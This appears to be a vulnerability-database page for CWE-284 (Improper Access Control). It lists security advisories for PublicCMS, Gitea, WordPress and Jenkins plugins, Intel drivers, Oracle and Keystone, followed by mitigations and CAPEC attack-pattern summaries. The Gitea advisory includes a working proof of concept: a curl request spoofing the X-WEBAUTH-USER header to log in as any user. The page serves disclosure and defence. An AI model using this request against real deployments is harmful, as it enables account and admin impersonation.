CWE-284
DiscouragedImproper Access Control
Abstraction: Pillar · Status: Incomplete
The product does not restrict or incorrectly restricts access to a resource from an unauthorized actor.
8442 vulnerabilities reference this CWE, most recent first.
GHSA-F6X2-M86H-4V8W
Vulnerability from github – Published: 2024-07-12 18:31 – Updated: 2024-07-12 21:31PublicCMS v4.0.202302.e was discovered to contain an arbitrary file content replacement vulnerability via the component /admin/cmsTemplate/replace.
{
"affected": [],
"aliases": [
"CVE-2024-40547"
],
"database_specific": {
"cwe_ids": [
"CWE-284"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-07-12T16:15:05Z",
"severity": "MODERATE"
},
"details": "PublicCMS v4.0.202302.e was discovered to contain an arbitrary file content replacement vulnerability via the component /admin/cmsTemplate/replace.",
"id": "GHSA-f6x2-m86h-4v8w",
"modified": "2024-07-12T21:31:17Z",
"published": "2024-07-12T18:31:54Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-40547"
},
{
"type": "WEB",
"url": "https://gitee.com/sanluan/PublicCMS/issues/IAAL70"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-F75J-4CW6-RMX4
Vulnerability from github – Published: 2026-07-21 20:28 – Updated: 2026-07-21 20:28Summary
The Gitea Docker images ship an app.ini template that hard-codes:
REVERSE_PROXY_TRUSTED_PROXIES = *
The documented default for this setting, in custom/conf/app.example.ini, is 127.0.0.0/8,::1/128, i.e. only loopback is trusted.
When an admin enables ENABLE_REVERSE_PROXY_AUTHENTICATION = true to put Gitea behind an authenticating reverse proxy and leaves the trusted-proxies setting at "the default", they expect only the proxy's loopback connection to inject identity. The Docker image instead trusts X-WEBAUTH-USER from any source IP that can reach the container.
Affected
gitea/giteaDocker images (verified1.26.2)docker/root/etc/templates/app.ini:55docker/rootless/etc/templates/app.ini:52
Binary distribution and self-built deployments that follow app.example.ini get the loopback-only default and are not affected.
Reproduction
docker run -d --name g -p 3000:3000 \
-e GITEA__service__ENABLE_REVERSE_PROXY_AUTHENTICATION=true \
-e GITEA__security__INSTALL_LOCK=true \
gitea/gitea:1.26.2
sleep 15
docker exec --user git g gitea admin user create \
--username alice --password "longpasswordhere1234" \
--email alice@x.test --must-change-password=false
Now the attack::
curl -s -L -H "X-WEBAUTH-USER: alice" http://localhost:3000/ \
| grep -oE '<title>[^<]+</title>'
Output: <title>alice - Dashboard - Gitea: Git with a cup of tea</title> — attacker is logged in as alice with one header, no password, no cookie.
Same payload with X-WEBAUTH-USER: <any_existing_username> impersonates that user.
Impact
Any process that can reach the Gitea container's HTTP port directly — not through the intended authenticating proxy — can impersonate any user whose login name is known or guessable. Admin accounts (admin, gitea_admin, etc.) are the obvious targets.
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "code.gitea.io/gitea"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.26.3"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-20896"
],
"database_specific": {
"cwe_ids": [
"CWE-284"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-21T20:28:58Z",
"nvd_published_at": "2026-07-03T21:16:56Z",
"severity": "CRITICAL"
},
"details": "# Summary\n\nThe Gitea Docker images ship an `app.ini` template that hard-codes:\n\n```\nREVERSE_PROXY_TRUSTED_PROXIES = *\n```\n\nThe documented default for this setting, in `custom/conf/app.example.ini`, is `127.0.0.0/8,::1/128`, i.e. only loopback is trusted.\n\nWhen an admin enables `ENABLE_REVERSE_PROXY_AUTHENTICATION = true` to put Gitea behind an authenticating reverse proxy and leaves the trusted-proxies setting at \"the default\", they expect only the proxy\u0027s loopback connection to inject identity. The Docker image instead trusts `X-WEBAUTH-USER` from **any source IP** that can reach the container.\n\n## Affected\n\n- `gitea/gitea` Docker images (verified `1.26.2`)\n- `docker/root/etc/templates/app.ini:55`\n- `docker/rootless/etc/templates/app.ini:52`\n\nBinary distribution and self-built deployments that follow `app.example.ini` get the loopback-only default and are not affected.\n\n## Reproduction\n\n```\ndocker run -d --name g -p 3000:3000 \\\n -e GITEA__service__ENABLE_REVERSE_PROXY_AUTHENTICATION=true \\\n -e GITEA__security__INSTALL_LOCK=true \\\n gitea/gitea:1.26.2\n\nsleep 15\ndocker exec --user git g gitea admin user create \\\n --username alice --password \"longpasswordhere1234\" \\\n --email alice@x.test --must-change-password=false\n\nNow the attack::\n\n\ncurl -s -L -H \"X-WEBAUTH-USER: alice\" http://localhost:3000/ \\\n | grep -oE \u0027\u003ctitle\u003e[^\u003c]+\u003c/title\u003e\u0027\n```\n\nOutput: `\u003ctitle\u003ealice - Dashboard - Gitea: Git with a cup of tea\u003c/title\u003e` \u2014 attacker is logged in as alice with one header, no password, no cookie.\n\nSame payload with `X-WEBAUTH-USER: \u003cany_existing_username\u003e` impersonates that user.\n\n## Impact\n\nAny process that can reach the Gitea container\u0027s HTTP port directly \u2014 not through the intended authenticating proxy \u2014 can impersonate any user whose login name is known or guessable. Admin accounts (`admin`, `gitea_admin`, etc.) are the obvious targets.",
"id": "GHSA-f75j-4cw6-rmx4",
"modified": "2026-07-21T20:28:58Z",
"published": "2026-07-21T20:28:58Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/go-gitea/gitea/security/advisories/GHSA-f75j-4cw6-rmx4"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-20896"
},
{
"type": "WEB",
"url": "https://github.com/go-gitea/gitea/pull/38151"
},
{
"type": "WEB",
"url": "https://github.com/go-gitea/gitea/commit/99f8b3d9a1d32f4c39828e07971455a18191e0b9"
},
{
"type": "WEB",
"url": "https://blog.gitea.com/release-of-1.26.3-and-1.26.4"
},
{
"type": "PACKAGE",
"url": "https://github.com/go-gitea/gitea"
},
{
"type": "WEB",
"url": "https://github.com/go-gitea/gitea/releases/tag/v1.26.3"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Gitea Docker image: `REVERSE_PROXY_TRUSTED_PROXIES = *` default lets any source IP impersonate any user via `X-WEBAUTH-USER`"
}
GHSA-F76V-4XXJ-GRPM
Vulnerability from github – Published: 2024-05-07 12:30 – Updated: 2024-05-07 12:30The ClickCease Click Fraud Protection plugin for WordPress is vulnerable to unauthorized access of data due to an improper capability check on the get_settings function in all versions up to, and including, 3.2.4. This makes it possible for authenticated attackers, with author access and above, to retrieve the plugin's configured API keys.
{
"affected": [],
"aliases": [
"CVE-2023-6810"
],
"database_specific": {
"cwe_ids": [
"CWE-284"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-05-07T10:15:06Z",
"severity": "MODERATE"
},
"details": "The ClickCease Click Fraud Protection plugin for WordPress is vulnerable to unauthorized access of data due to an improper capability check on the get_settings function in all versions up to, and including, 3.2.4. This makes it possible for authenticated attackers, with author access and above, to retrieve the plugin\u0027s configured API keys.",
"id": "GHSA-f76v-4xxj-grpm",
"modified": "2024-05-07T12:30:50Z",
"published": "2024-05-07T12:30:50Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-6810"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/changeset/3081436/clickcease-click-fraud-protection/trunk/classes/routes.php"
},
{
"type": "WEB",
"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/5d572cac-b8e3-4c52-9b35-80fe5ee9e900?source=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-F78Q-JQXF-66CM
Vulnerability from github – Published: 2023-10-26 18:30 – Updated: 2023-11-07 21:30The cookie session ID is of insufficient length and can be exploited by brute force, which may allow a remote attacker to obtain a valid session, bypass authentication, and manipulate the transmitter.
{
"affected": [],
"aliases": [
"CVE-2023-42769"
],
"database_specific": {
"cwe_ids": [
"CWE-284",
"CWE-307"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-10-26T17:15:08Z",
"severity": "CRITICAL"
},
"details": "The cookie session ID is of insufficient length and can be exploited by \nbrute force, which may allow a remote attacker to obtain a valid \nsession, bypass authentication, and manipulate the transmitter.\n\n",
"id": "GHSA-f78q-jqxf-66cm",
"modified": "2023-11-07T21:30:22Z",
"published": "2023-10-26T18:30:23Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-42769"
},
{
"type": "WEB",
"url": "https://www.cisa.gov/news-events/ics-advisories/icsa-23-299-08"
},
{
"type": "WEB",
"url": "https://www.sielco.org/en/contacts"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-F7C2-4FXF-C6J7
Vulnerability from github – Published: 2024-08-14 15:31 – Updated: 2024-08-14 15:31Improper access control in Linux kernel mode driver for some Intel(R) Ethernet Network Controllers and Adapters before version 28.3 may allow an authenticated user to potentially enable escalation of privilege via local access.
{
"affected": [],
"aliases": [
"CVE-2024-24986"
],
"database_specific": {
"cwe_ids": [
"CWE-284"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-08-14T14:15:22Z",
"severity": "CRITICAL"
},
"details": "Improper access control in Linux kernel mode driver for some Intel(R) Ethernet Network Controllers and Adapters before version 28.3 may allow an authenticated user to potentially enable escalation of privilege via local access.",
"id": "GHSA-f7c2-4fxf-c6j7",
"modified": "2024-08-14T15:31:15Z",
"published": "2024-08-14T15:31:15Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-24986"
},
{
"type": "WEB",
"url": "https://www.intel.com/content/www/us/en/security-center/advisory/intel-sa-00918.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-F7FQ-399G-X6J8
Vulnerability from github – Published: 2024-05-16 21:31 – Updated: 2024-05-16 21:31Improper access control for some Intel(R) CST software before version 2.1.10300 may allow an authenticated user to potentially enable escalation of privilege via local access.
{
"affected": [],
"aliases": [
"CVE-2023-39433"
],
"database_specific": {
"cwe_ids": [
"CWE-284"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-05-16T21:15:53Z",
"severity": "MODERATE"
},
"details": "Improper access control for some Intel(R) CST software before version 2.1.10300 may allow an authenticated user to potentially enable escalation of privilege via local access.",
"id": "GHSA-f7fq-399g-x6j8",
"modified": "2024-05-16T21:31:59Z",
"published": "2024-05-16T21:31:59Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-39433"
},
{
"type": "WEB",
"url": "https://www.intel.com/content/www/us/en/security-center/advisory/intel-sa-01021.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:L",
"type": "CVSS_V3"
}
]
}
GHSA-F7FQ-WP2X-JC25
Vulnerability from github – Published: 2022-09-22 00:00 – Updated: 2022-12-09 19:51Jenkins WildFly Deployer Plugin 1.0.2 and earlier implements functionality that allows agent processes to read arbitrary files on the Jenkins controller file system.
This vulnerability is only exploitable in Jenkins 2.318 and earlier, LTS 2.303.2 and earlier. See the LTS upgrade guide.
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "org.jenkins-ci.plugins:wildfly-deployer"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "1.0.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2022-41235"
],
"database_specific": {
"cwe_ids": [
"CWE-22",
"CWE-284",
"CWE-693"
],
"github_reviewed": true,
"github_reviewed_at": "2022-09-23T20:28:20Z",
"nvd_published_at": "2022-09-21T16:15:00Z",
"severity": "MODERATE"
},
"details": "Jenkins WildFly Deployer Plugin 1.0.2 and earlier implements functionality that allows agent processes to read arbitrary files on the Jenkins controller file system.\n\nThis vulnerability is only exploitable in Jenkins 2.318 and earlier, LTS 2.303.2 and earlier. See the [LTS upgrade guide](https://www.jenkins.io/doc/upgrade-guide/2.303/#upgrading-to-jenkins-lts-2-303-3).",
"id": "GHSA-f7fq-wp2x-jc25",
"modified": "2022-12-09T19:51:09Z",
"published": "2022-09-22T00:00:28Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-41235"
},
{
"type": "PACKAGE",
"url": "https://github.com/jenkinsci/wildfly-deployer-plugin"
},
{
"type": "WEB",
"url": "https://www.jenkins.io/security/advisory/2022-09-21/#SECURITY-2645"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "Jenkins WildFly Deployer Plugin vulnerable to path traversal"
}
GHSA-F7QW-PFXP-6M43
Vulnerability from github – Published: 2026-06-17 18:35 – Updated: 2026-06-17 18:35Vulnerability in the Oracle WebCenter Content product of Oracle Fusion Middleware (component: Content Server). Supported versions that are affected are 12.2.1.4.0 and 14.1.2.0.0. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle WebCenter Content. Successful attacks of this vulnerability can result in takeover of Oracle WebCenter Content. CVSS 3.1 Base Score 8.8 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).
{
"affected": [],
"aliases": [
"CVE-2026-35324"
],
"database_specific": {
"cwe_ids": [
"CWE-284"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-06-17T10:40:24Z",
"severity": "HIGH"
},
"details": "Vulnerability in the Oracle WebCenter Content product of Oracle Fusion Middleware (component: Content Server). Supported versions that are affected are 12.2.1.4.0 and 14.1.2.0.0. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle WebCenter Content. Successful attacks of this vulnerability can result in takeover of Oracle WebCenter Content. CVSS 3.1 Base Score 8.8 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).",
"id": "GHSA-f7qw-pfxp-6m43",
"modified": "2026-06-17T18:35:26Z",
"published": "2026-06-17T18:35:26Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-35324"
},
{
"type": "WEB",
"url": "https://www.oracle.com/security-alerts/cspujun2026.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-F7RH-XW65-HWW2
Vulnerability from github – Published: 2025-10-08 03:30 – Updated: 2025-10-08 03:30A security flaw has been discovered in projectworlds Advanced Library Management System 1.0. Affected by this vulnerability is an unknown functionality of the file /edit_book.php. The manipulation of the argument image results in unrestricted upload. It is possible to launch the attack remotely. The exploit has been released to the public and may be exploited.
{
"affected": [],
"aliases": [
"CVE-2025-11426"
],
"database_specific": {
"cwe_ids": [
"CWE-284",
"CWE-434"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-10-08T03:15:40Z",
"severity": "MODERATE"
},
"details": "A security flaw has been discovered in projectworlds Advanced Library Management System 1.0. Affected by this vulnerability is an unknown functionality of the file /edit_book.php. The manipulation of the argument image results in unrestricted upload. It is possible to launch the attack remotely. The exploit has been released to the public and may be exploited.",
"id": "GHSA-f7rh-xw65-hww2",
"modified": "2025-10-08T03:30:24Z",
"published": "2025-10-08T03:30:24Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-11426"
},
{
"type": "WEB",
"url": "https://github.com/ChenGuangHuangHun/CVE/issues/3"
},
{
"type": "WEB",
"url": "https://vuldb.com/?ctiid.327361"
},
{
"type": "WEB",
"url": "https://vuldb.com/?id.327361"
},
{
"type": "WEB",
"url": "https://vuldb.com/?submit.666228"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-F82M-W3P3-CGP3
Vulnerability from github – Published: 2022-05-17 03:41 – Updated: 2024-11-26 18:27The Fernet Token Provider in OpenStack Identity (Keystone) 9.0.x before 9.0.1 (mitaka) allows remote authenticated users to prevent revocation of a chain of tokens and bypass intended access restrictions by rescoping a token.
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "keystone"
},
"ranges": [
{
"events": [
{
"introduced": "9.0.0"
},
{
"fixed": "9.0.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2016-4911"
],
"database_specific": {
"cwe_ids": [
"CWE-284"
],
"github_reviewed": true,
"github_reviewed_at": "2024-05-14T21:05:37Z",
"nvd_published_at": "2016-06-13T14:59:00Z",
"severity": "MODERATE"
},
"details": "The Fernet Token Provider in OpenStack Identity (Keystone) 9.0.x before 9.0.1 (mitaka) allows remote authenticated users to prevent revocation of a chain of tokens and bypass intended access restrictions by rescoping a token.",
"id": "GHSA-f82m-w3p3-cgp3",
"modified": "2024-11-26T18:27:07Z",
"published": "2022-05-17T03:41:03Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2016-4911"
},
{
"type": "WEB",
"url": "https://github.com/openstack/keystone/commit/0d376025bae61bf5ee19d992c7f336b99ac69240"
},
{
"type": "WEB",
"url": "https://github.com/openstack/keystone/commit/ee1dc941042d1f71699971c5c30566af1b348572"
},
{
"type": "WEB",
"url": "https://bugs.launchpad.net/keystone/+bug/1577558"
},
{
"type": "PACKAGE",
"url": "https://github.com/openstack/keystone"
},
{
"type": "WEB",
"url": "https://github.com/pypa/advisory-database/tree/main/vulns/keystone/PYSEC-2016-38.yaml"
},
{
"type": "WEB",
"url": "https://review.openstack.org/#/c/311886"
},
{
"type": "WEB",
"url": "https://security.openstack.org/ossa/OSSA-2016-008.html"
},
{
"type": "WEB",
"url": "http://www.openwall.com/lists/oss-security/2016/05/17/10"
},
{
"type": "WEB",
"url": "http://www.openwall.com/lists/oss-security/2016/05/17/11"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "OpenStack Identity Keystone Improper Access Control "
}
Mitigation MIT-1
Very carefully manage the setting, management, and handling of privileges. Explicitly manage trust zones in the software.
Mitigation MIT-46
Strategy: Separation of Privilege
- Compartmentalize the system to have "safe" areas where trust boundaries can be unambiguously drawn. Do not allow sensitive data to go outside of the trust boundary and always be careful when interfacing with a compartment outside of the safe area.
- Ensure that appropriate compartmentalization is built into the system design, and the compartmentalization allows for and reinforces privilege separation functionality. Architects and designers should rely on the principle of least privilege to decide the appropriate time to use privileges and the time to drop privileges.
CAPEC-19: Embedding Scripts within Scripts
An adversary leverages the capability to execute their own script by embedding it within other scripts that the target software is likely to execute due to programs' vulnerabilities that are brought on by allowing remote hosts to execute scripts.
CAPEC-441: Malicious Logic Insertion
An adversary installs or adds malicious logic (also known as malware) into a seemingly benign component of a fielded system. This logic is often hidden from the user of the system and works behind the scenes to achieve negative impacts. With the proliferation of mass digital storage and inexpensive multimedia devices, Bluetooth and 802.11 support, new attack vectors for spreading malware are emerging for things we once thought of as innocuous greeting cards, picture frames, or digital projectors. This pattern of attack focuses on systems already fielded and used in operation as opposed to systems and their components that are still under development and part of the supply chain.
CAPEC-478: Modification of Windows Service Configuration
An adversary exploits a weakness in access control to modify the execution parameters of a Windows service. The goal of this attack is to execute a malicious binary in place of an existing service.
CAPEC-479: Malicious Root Certificate
An adversary exploits a weakness in authorization and installs a new root certificate on a compromised system. Certificates are commonly used for establishing secure TLS/SSL communications within a web browser. When a user attempts to browse a website that presents a certificate that is not trusted an error message will be displayed to warn the user of the security risk. Depending on the security settings, the browser may not allow the user to establish a connection to the website. Adversaries have used this technique to avoid security warnings prompting users when compromised systems connect over HTTPS to adversary controlled web servers that spoof legitimate websites in order to collect login credentials.
CAPEC-502: Intent Spoof
An adversary, through a previously installed malicious application, issues an intent directed toward a specific trusted application's component in an attempt to achieve a variety of different objectives including modification of data, information disclosure, and data injection. Components that have been unintentionally exported and made public are subject to this type of an attack. If the component trusts the intent's action without verififcation, then the target application performs the functionality at the adversary's request, helping the adversary achieve the desired negative technical impact.
CAPEC-503: WebView Exposure
An adversary, through a malicious web page, accesses application specific functionality by leveraging interfaces registered through WebView's addJavascriptInterface API. Once an interface is registered to WebView through addJavascriptInterface, it becomes global and all pages loaded in the WebView can call this interface.
CAPEC-536: Data Injected During Configuration
An attacker with access to data files and processes on a victim's system injects malicious data into critical operational data during configuration or recalibration, causing the victim's system to perform in a suboptimal manner that benefits the adversary.
CAPEC-546: Incomplete Data Deletion in a Multi-Tenant Environment
An adversary obtains unauthorized information due to insecure or incomplete data deletion in a multi-tenant environment. If a cloud provider fails to completely delete storage and data from former cloud tenants' systems/resources, once these resources are allocated to new, potentially malicious tenants, the latter can probe the provided resources for sensitive information still there.
CAPEC-550: Install New Service
When an operating system starts, it also starts programs called services or daemons. Adversaries may install a new service which will be executed at startup (on a Windows system, by modifying the registry). The service name may be disguised by using a name from a related operating system or benign software. Services are usually run with elevated privileges.
CAPEC-551: Modify Existing Service
When an operating system starts, it also starts programs called services or daemons. Modifying existing services may break existing services or may enable services that are disabled/not commonly used.
CAPEC-552: Install Rootkit
An adversary exploits a weakness in authentication to install malware that alters the functionality and information provide by targeted operating system API calls. Often referred to as rootkits, it is often used to hide the presence of programs, files, network connections, services, drivers, and other system components.
CAPEC-556: Replace File Extension Handlers
When a file is opened, its file handler is checked to determine which program opens the file. File handlers are configuration properties of many operating systems. Applications can modify the file handler for a given file extension to call an arbitrary program when a file with the given extension is opened.
CAPEC-558: Replace Trusted Executable
An adversary exploits weaknesses in privilege management or access control to replace a trusted executable with a malicious version and enable the execution of malware when that trusted executable is called.
CAPEC-562: Modify Shared File
An adversary manipulates the files in a shared location by adding malicious programs, scripts, or exploit code to valid content. Once a user opens the shared content, the tainted content is executed.
CAPEC-563: Add Malicious File to Shared Webroot
An adversaries may add malicious content to a website through the open file share and then browse to that content with a web browser to cause the server to execute the content. The malicious content will typically run under the context and permissions of the web server process, often resulting in local system or administrative privileges depending on how the web server is configured.
CAPEC-564: Run Software at Logon
Operating system allows logon scripts to be run whenever a specific user or users logon to a system. If adversaries can access these scripts, they may insert additional code into the logon script. This code can allow them to maintain persistence or move laterally within an enclave because it is executed every time the affected user or users logon to a computer. Modifying logon scripts can effectively bypass workstation and enclave firewalls. Depending on the access configuration of the logon scripts, either local credentials or a remote administrative account may be necessary.
CAPEC-578: Disable Security Software
An adversary exploits a weakness in access control to disable security tools so that detection does not occur. This can take the form of killing processes, deleting registry keys so that tools do not start at run time, deleting log files, or other methods.